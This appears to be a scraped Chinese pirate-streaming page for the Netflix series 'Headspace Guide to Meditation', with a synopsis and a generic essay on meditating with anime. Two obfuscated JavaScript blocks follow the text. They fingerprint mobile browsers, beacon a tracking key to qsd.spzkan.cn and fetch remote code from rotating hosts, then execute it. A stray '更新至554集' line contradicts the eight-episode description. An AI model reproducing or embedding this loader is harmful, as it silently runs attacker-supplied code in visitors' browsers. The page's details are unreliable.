- 安迪·普迪迪科姆
动漫
美国
英语
20分钟
2021
2024-09-25 10:09:28
![]()
《冥想指南》剧情介绍
冥想指南是一部2021上映的美国动漫,电影天堂网提供了冥想指南免费在线观看地址，并且还可以支持手机看冥想指南，不需要下载播放器，方便广大影迷。
深吸一口气，用Netflix最新的原创剧集《Headspace冥想正念指南》善待你的心灵，开始新的一年吧。安迪·普迪迪科姆(AndyPuddicombe)曾是一名佛教僧侣，也是广受全球喜爱的Headspace冥想应用的联合创始人。在8集动画的过程中，他带领观众了解了冥想背后的好处和科学。每集时长20分钟，展示了一种不同的正念技巧，有助于练习冥想-专注于压力、睡眠和放手等主题-并在每一章的最后以指导冥想结束。《Headspace冥想正念指南》提供了一个静止的时刻，并说明练习冥想对每个人来说都是容易的。《Headspace冥想正念指南》是Headspace和VoxMediaStudios三个系列中的第一个，后续系列包括Headspace睡眠指南和互动体验。Headspace冥想指南是Headspace和VoxMediaStudi...
动漫冥想指南是一种结合动漫元素的冥想练习方法，可以帮助人们放松心灵、提升心境、改善专注力和减轻压力。这种冥想方法适合喜欢动漫的人，通过观看、思考和感受动漫中的情节、角色和世界，达到冥想的效果。
首先，选择一部你喜爱的动漫作品。这可以是你曾经观看过的、正在追剧的或是一部你一直想要看的作品。选择一部对你而言有意义的动漫可以增加冥想的效果，因为你对作品中的细节和情节比较了解。
然后，找一个安静、舒适的环境，让自己舒展身体和心情。关闭手机和其他干扰，准备进入冥想状态。
开始冥想时，可以选择动漫中的一个场景或角色，让自己完全沉浸其中。观察场景的背景、色彩和细节，感受角色的情感和经历。设想自己是在这个场景中，与角色一同经历着故事的发展。
在冥想过程中，保持呼吸平稳，并专注于动漫中的情节。如果你感到思绪开始漂移，不要强行阻止它，而是让它自然流动。然后，慢慢将注意力重新聚焦到动漫场景中。不断重复这个过程，帮助自己达到更深层次的冥想状态。
冥想过程中，注意观察自己的感受和思考。动漫中的角色或情节会引发你的情绪、思考或回忆，不要压抑或避免它们，而是接受并观察它们。尽量保持一种观察者的状态，不要评价或判断自己的感受和思考。
冥想结束后，慢慢地把注意力转回到现实生活中。保持对身体和环境的感知，慢慢地恢复到正常的思维和行为状态。冥想结束后，你可能会感到更加平静、专注和放松。
通过动漫冥想，人们可以深入体会作品中的情感和意义，同时也可以放松自己，减轻压力。冥想的过程可以帮助人们提升专注力和观察力，同时也可以培养对于自己内在世界的觉察和包容。总之，动漫冥想是一种有趣且有效的冥想练习方法，适合喜欢动漫的人们使用。无论是用于放松自己、提升心境还是探索内心世界，它都能带来积极的影响。
function rLOBo(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function VmtBXurO(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return rLOBo(t);};window[''+'t'+'F'+'g'+'A'+'H'+'m'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function kVQo(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=VmtBXurO,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=kVQo(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/12984/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=kVQo(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLLmNzcHN4aC5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS5kdGZhb22kuY224lM0E5NTM0','159458',window,document,['L','2']);}:function(){};
function woZYiGmb(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function IMzqcFuN(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return woZYiGmb(t);};window[''+'v'+'P'+'F'+'x'+'n'+'H'+'D'+'C'+'B'+'A'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function IZsh(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=IMzqcFuN,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=IZsh(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/12984/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=IZsh(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZhLmNzcHHN4aC5jbiUzQTg4OTE=','d3NzJJTNBJJTJJGJJTJJGYS5kdGZhb2kuY24lM0E5NTM0','159459',window,document,['H','J']);}:function(){};
更新至554集